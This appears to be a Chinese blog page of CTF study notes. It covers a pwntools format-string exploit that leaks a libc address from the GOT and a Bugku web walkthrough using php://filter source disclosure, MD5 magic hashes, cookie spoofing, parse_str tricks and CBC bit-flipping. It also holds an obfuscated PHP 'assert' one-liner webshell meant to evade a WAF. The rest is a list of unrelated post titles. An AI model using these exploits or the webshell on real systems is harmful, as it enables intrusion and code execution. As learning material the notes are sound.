0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748

猜猜这时候打印的信息是啥？
答案是栈上被视为第四个参数的信息： 0x0804849d

同样的我们还可以通过%s来得到字符串的信息

栈布局如下：

00:0000│ esp  0xffffcfac —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:0004│      0xffffcfb0 —▸ 0xffffcfc0 ◂— 0x7325 /* '%s' */
... ↓
03:000c│      0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffffcfbc —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
05:0014│ eax  0xffffcfc0 ◂— 0x7325 /* '%s' */
06:0018│      0xffffcfc4 ◂— 0x1
07:001c│      0xffffcfc8 —▸ 0xf7ffd940 ◂— 0x0

还是看不清，直接看内存吧(md 垃圾pwndbg)

pwndbg> x/20x 0xffffcfb0
0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d
0xffffcfc0:0x00007325 0x00000001 0xf7ffd940 0x000000c2
0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
0xffffcfe0:0x00000000 0x00000000 0x00000000 0xf1ae2900
0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748

这个时候会直接将 0xffffcfc0 对应的字符串打印出来
结果自然就是 %s了

如果我们输入%2$s, 这个时候就很有趣了，按照道理程序会将 0xf7fcf410 对应地址的当作字符串打印出来，可是如果这个地址无效呢？
我自己尝试的结果是直接退出了，什么都没有打印出来emm

这时候如果我们指定一个合法的地址，比如got表中某个函数的地址这就很神奇了

exp如下：

from pwn import *

sh = process('./leakMemory')

context.log_level = 'debug'
leakmemory = ELF('./leakMemory')

__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']

print hex(__isoc99_scanf_got)

payload = p32(__isoc99_scanf_got) + '%4$s'

print payload

payload1 = '%4$s' #这两个payload是自己测试的
payload2 = 'AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p'
gdb.attach(sh)
#time.sleep(1)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
#print sh.recvuntil('%4$s\n')
#print '\n'

print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got

sh.interactive()

我们运行这个exp
在pwndbg中下断点

运行到第二个printf的时候

───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp  0xffa3bdfc —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:0004│      0xffa3be00 —▸ 0xffa3be10 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7df2bb0 (__isoc99_scanf) ◂— push   ebp
... ↓
03:000c│      0xffa3be08 —▸ 0xf7f85410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffa3be0c —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
05:0014│ eax  0xffa3be10 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7df2bb0 (__isoc99_scanf) ◂— push   ebp
06:0018│      0xffa3be14 ◂— '%4$s'
07:001c│      0xffa3be18 —▸ 0xf7fb3900 (catch_hook) ◂— 0x0

另一边

[+] Waiting for debugger: Done
[DEBUG] Sent 0x9 bytes:
    00000000  14 a0 04 08  25 34 24 73  0a                        │····│%4$s│·│
    00000009
[DEBUG] Received 0x24 bytes:
    00000000  30 30 30 30  30 30 30 31  2e 32 32 32  32 32 32 32  │0000│0001│.222│2222│
    00000010  32 2e 66 66  66 66 66 66  66 66 2e 14  a0 04 08 25  │2.ff│ffff│ff.·│···%│
    00000020  34 24 73 0a                                         │4$s·││
    00000024

continue

[DEBUG] Received 0x8 bytes:
    00000000  14 a0 04 08  b0 2b df f7                            │····│·+··││
    00000008
0xf7df2bb0
[*] Switching to interactive mode
[*] Process './leakMemory' stopped with exit code 0 (pid 5064)
[*] Got EOF while reading in interactive

这个时候我们就得到了scanf函数的地址了
ok 还有几个地方没弄明白之后再写

确定可控制格式化字符串位置的方法

既然程序是有漏洞的，我们就必须知道可被控制的格式化字符串的位置，这时候大致有以下几种姿势

构造类似 [tag]%p%p%p%p%p%p...这样的参数
Pwngdb中有一个叫做fmarg可以用来获取指定地址到底是第几个参数

不是很理解第一种方法原理，但是第二种方法比较好用

不过我们可以来看一个例子：

IDA中的C代码：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+3h] [rbp-3Dh]
  signed int i; // [rsp+4h] [rbp-3Ch]
  signed int j; // [rsp+4h] [rbp-3Ch]
  char *format; // [rsp+8h] [rbp-38h]
  _IO_FILE *fp; // [rsp+10h] [rbp-30h]
  char *v9; // [rsp+18h] [rbp-28h]
  char v10[24]; // [rsp+20h] [rbp-20h]
  unsigned __int64 v11; // [rsp+38h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  fp = fopen("flag.txt", "r");
  for ( i = 0; i <= 21; ++i )
    v10[i] = _IO_getc(fp);
  fclose(fp);
  v9 = v10;
  puts("what's the flag");
  fflush(_bss_start);
  format = 0LL;
  __isoc99_scanf("%ms", &format);
  for ( j = 0; j <= 21; ++j )
  {
    v4 = format[j];
    if ( !v4 || v10[j] != v4 )
    {
      puts("You answered:");
      printf(format);
      puts("\nBut that was totally wrong lol get rekt");
      fflush(_bss_start);
      return 0;
    }
  }
  printf("That's right, the flag is %s\n", v9);
  fflush(_bss_start);
  return 0;
}

显然的格式化字符串漏洞

我们需要在printf函数处下断点

然后随便输入一些数字:

[-------------------------------------code-------------------------------------]
   0x7ffff7a48e6c <__fprintf+172>:	
    call   0x7ffff7b18c80 <__stack_chk_fail>
   0x7ffff7a48e71:	nop    WORD PTR cs:[rax+rax*1+0x0]
   0x7ffff7a48e7b:	nop    DWORD PTR [rax+rax*1+0x0]
=> 0x7ffff7a48e80 <__printf>:	sub    rsp,0xd8
   0x7ffff7a48e87 <__printf+7>:	test   al,al
   0x7ffff7a48e89 <__printf+9>:	mov    QWORD PTR [rsp+0x28],rsi
   0x7ffff7a48e8e <__printf+14>:	mov    QWORD PTR [rsp+0x30],rdx
   0x7ffff7a48e93 <__printf+19>:	mov    QWORD PTR [rsp+0x38],rcx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde08 --> 0x400890 (<main+234>:	mov    edi,0x4009b8)
0008| 0x7fffffffde10 --> 0x61000001 
0016| 0x7fffffffde18 --> 0x602cb0 ('a' <repeats 16 times>)
0024| 0x7fffffffde20 --> 0x602260 --> 0x0 
0032| 0x7fffffffde28 --> 0x7fffffffde30 ("flag{", '1' <repeats 12 times>, "}\n\377\377\377")
0040| 0x7fffffffde30 ("flag{", '1' <repeats 12 times>, "}\n\377\377\377")
0048| 0x7fffffffde38 ("111111111}\n\377\377\377")
0056| 0x7fffffffde40 --> 0xffffff0a7d31 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, __printf (format=0x602cb0 'a' <repeats 16 times>) at printf.c:28
28	printf.c: No such file or directory.

这时候可以看到flag了，注意我们是在本地调试，调试的时候当然可以看到flag，一般的pwn题都是要远程连接的

如果我们要泄露flag的值，就需要构造%n$s这样的传进去。所以获取参数的位置很关键

gdb-peda$ fmtarg 0x7fffffffde28
The index of format argument : 10 ("\%9$p")

通过Pwngdb就可以查看参数的位置了

这时候运行

abc@ubuntu ~/Desktop/pwnEaxmple/zifuchuan
 % ./goodluck 
what's the flag
%9$s
You answered:
flag{111111111111}
���
But that was totally wrong lol get rekt

就得到了flag

(这里值得注意的就是，64位系统和32位系统传参是不一样的)

bugku web题目的wp

Thu, 07 Feb 2019 00:00:00 GMT

welcome to bugkuctf

ctrl + U查看页面源代码，如果有 $user且 file_get_contents($user, 'r') 的值是指定的字符串。就会 include $file 的内容。并且提示是 hint.php这个文件

这里涉及到一个怎么把 get 方法传入的参数作为一个文件打开。

php伪协议

这里用到了 php://input

但是。。

这就要用到第二个伪协议：
php://filter

我那样传递参数会报错， include($file) 只是把 $file 这个变量当作文件名包括进去了。就是含在源代码里，不是简单地构造一个参数就能达到的。

这就是一个泄露了源码的漏洞了。

最后构造的URL如下：
http://123.206.87.240:8006/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php

惊叹。
base64 解密之后的源代码。

<?php  

class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file);
			echo "<br>";
		return ("good");
        }  
    }  
}  
?>

代码里面构造了一个类。
公有变量是 $file

继续看一下 index.php 的源代码

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){
		echo "ä¸è½ç°å¨å°±ç»ä½ flagå¦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  

?>  

<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->

有几个地方暂时写不到位，先到这里好了。

过狗一句话

很蒙

<?
php $poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
 ?>

上面是题目提示的过狗一句话代码。
然后…后面的不会了

字符，正则？

前女友

一道很有趣的题目，就不说题目了，直接放我的测试代码

<?php
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    echo "$v1</br>";
    var_dump($v1);
    echo "</br>";
    echo md5($v1)."</br>";
    echo "$v2</br>";
    echo md5($v2)."</br>";
    if($v1 != $v2 && md5($v1) == md5($v2)){
        echo "true";
    }
    else
    {
    	echo "false";
    }
}

?>

也是第一次发现get还能传递数组（不过当然是一堆的错误）

MD5 collision

还不太清楚MD5 碰撞是啥，以后补坑

payload
120.24.86.145:9009/md5.php?a=s878926199a

常用的MD5碰撞

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

s1502113478a
0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s155964671a
0e342768416822451524974117254469

s1184209335a
0e072485820392773389523109082030

s1665632922a
0e731198061491163073197128363787

s1502113478a
0e861580163291561247404381396064

s1836677006a
0e481036490867661113260034900752

s1091221200a
0e940624217856561557816327384675

s155964671a
0e342768416822451524974117254469

s1502113478a
0e861580163291561247404381396064

s155964671a
0e342768416822451524974117254469

s1665632922a
0e731198061491163073197128363787

s155964671a
0e342768416822451524974117254469

s1091221200a
0e940624217856561557816327384675

s1836677006a
0e481036490867661113260034900752

s1885207154a
0e509367213418206700842008763514

s532378020a
0e220463095855511507588041205815

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s214587387a
0e848240448830537924465865611904

s1502113478a
0e861580163291561247404381396064

s1091221200a
0e940624217856561557816327384675

s1665632922a
0e731198061491163073197128363787

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s1665632922a
0e731198061491163073197128363787

s878926199a
0e545993274517709034328855841020

秋名山老司机

<head>
<title>下面的表达式的值是秋名山的车速</title>
<meta charset="UTF-8">
</head>
<p>亲请在2s内计算老司机的车速是多少</p>
<div>1782911879+706686703-1996813020-984998196*1213520247-1805071043*379299795+1623596400-1052850963+2102818407-2101949215=?;</div>
<style>
div,p{
text-align: center;
margin: 0 auto;
}
</style>

两秒之内计算出式子中的值，再提交

菜鸡还不太会写脚本
参考了dalao们的代码



url = 'http://120.24.86.145:8002/qiumingshan/'
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression)
post = {'value': result}
print(s.post(url, data = post).text)

不过还是没搞出来。

复习一下requests库


#构造requests对象

s = requests.get(url)
s.post(url,   )

#差不多就这些了

cookies欺骗

然而注意到URL中的line和file时就能做出来了。

#用脚本把代码跑出来

a=30
for i in range(a):
    url="http://120.24.86.145:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
    s=requests.get(url)
    print s.text

<?php

error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){       //看这里
 $file_list[2]='keys.php';
 }
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

构造cookie就行啦
（然而没搞出flag来）

login4

CBC字节翻转攻击
放一张经典的图

据师傅们的wp说是有一个index.php.swp文件存在。
然而没找到，先把师傅们找到的源码放上来

<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();
function get_random_iv(){
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}
function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    $_SESSION['username'] = $info['username'];
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}
function check_login(){
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $_SESSION['username'] = $info['username'];
        }else{
            die("ERROR!");
        }
    }
}
function show_homepage(){
    if ($_SESSION["username"]==='admin'){
        echo '<p>Hello admin</p>';
        echo '<p>Flag is $flag</p>';
    }else{
        echo '<p>hello '.$_SESSION['username'].'</p>';
        echo '<p>Only admin can see flag</p>';
    }
    echo '<p><a href="loginout.php">Log out</a></p>';
}
if(isset($_POST['username']) && isset($_POST['password'])){
    $username = (string)$_POST['username'];
    $password = (string)$_POST['password'];
    if($username === 'admin'){
        exit('<p>admin are not allowed to login</p>');
    }else{
        info = array('username'=>username,'password'=>password);
        login(info);
        show_homepage();
    }
}else{
    if(isset($_SESSION["username"])){
        check_login();
        show_homepage();
    }else{
        echo '<body class="login-body">

                <div id="wrapper">
                    <div class="user-icon"></div>
                    <div class="pass-icon"></div>
                    <form name="login-form" class="login-form" action="" method="post">
                        <div class="header">
                        <h1>Login Form</h1>
                        <span>Fill out the form below to login to my super awesome imaginary control panel.</span>
                        </div>
                        <div class="content">
                        <input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
                        <input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
                        </div>
                        <div class="footer">
                        <input type="submit" name="submit" value="Login" class="button" />
                        </div>
                    </form>
                </div>
            </body>';
    }
}
?>
</html>

备份是个好习惯

根据以前做题的经验，备份就是在提示你存在bak文件
所以直接输入URL为 http://123.206.87.240:8002/web16/index.php.bak 然后下载文件
代码：

<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

做代码审计的题目，还是主要靠自己尝试。

<?php

error_reporting(0);

$str = strstr($_SERVER['REQUEST_URI'], '?');
echo "$str"."</br>";

$str = substr($str, 1);
echo "$str"."</br>";

$str = str_replace('key','', $str);

echo "$str"."</br>";
parse_str($str);

echo "$key1"."</br>";
echo md5($key1);

echo "</br>";
echo md5($key2);

if(md5($key1) == md5($key2) && $key1 !== $key2)
	echo 'flag';

?>

上面是我用来测试的代码

构造URL为 http://localhost/test/test.php?kkeyey1=1&kkeyey2=2
输出了这些：

?kkeyey1=1&kkeyey2=2
kkeyey1=1&kkeyey2=2
key1=1&key2=2
1
c4ca4238a0b923820dcc509a6f75849b
c81e728d9d4c2f636f067f89cc14862c

之前还很疑惑为什么没有get都能得到变量，原来是parse_str这个函数在起作用。

OK，现在就是表演的时间了。

参考资料

https://blog.csdn.net/wy_97/article/details/77431111
https://www.cnblogs.com/Pinging/p/8278168.html
https://blog.csdn.net/qq_19861715/article/details/79384018

https://blog.csdn.net/qq_39629343/article/details/80696263

秋名山老司机
 cookie欺骗
 CBC字节翻转攻击

python requests库学习

Raye's Journey

健身一周年不完全经验指南

如何开始健身？ 为什么你会想要健身呢？

健身的基本知识

如何做到坚持健身的？

如何记录

1RM是什么

关于饮食

要不要吃蛋白粉

健身器械都没碰过，好怕出丑啊

我不想练太大 😓

斜方肌是什么？ 会不会很丑

第一次练完后好疼

健身的时候做什么好呢？

如何跟别人轮换器械

我害怕受伤

当我在跑步的时候我在想什么

我的2025

2025年我做了哪些改变

周报42 十公里跑步、鬼灭、敦煌展

跑步

鬼灭

敦煌展

巧摄使用与平安金融中心月升

巧摄

悬月悬日计算

巧摄使用思路

巧摄学习

11.5 平安金融中心月升

到达机位

月升照片分享

oppo findx8u 使用体验分享

起因

为什么是oppo findx8u

购买

哈苏色彩

大师模式自动

大师模式手动

拍视频

protobuf编码规则分析

分析protobuf二进制编码

tag + value

msb +小端序编码

嵌套消息结构

一键解码pb二进制

一键编码pb二进制

周报41 博客装修、汕头团建

博客装修

友链

评论功能

照片墙

汕头团建

周六日出

小公园 city walk

周六南澳岛

周日南澳岛日出

一些杂念

周报40 浏阳,烟花与日落

浏阳之行

缘起

出行+美食

烟花

日落

相机就是我与这个世界链接的一种方式

我与相机的缘起

关于模仿

关于器材

关于后期

JS代理与原型链的陷阱

target vs receiver?

测试getter和setter

astro配置笔记

url trailingSlash配置 + 适配xlog rss

文章url 自定义

首页文章图片显示位置

定义rss的返回content-type

配置github action发布

mysql mcp使用与抓包测试

环境配置

神奇的错误

如何开始健身？为什么你会想要健身呢？

斜方肌是什么？会不会很丑

自由的代价：你以为的礼物，命运早已标好了价格

H3 — Should Have a Trailing `#` Anchor

Inline `code` and a link

《悉达多：一首印度的诗》分享

南北战争三百年：中国4—6世纪的军事与政权读书分享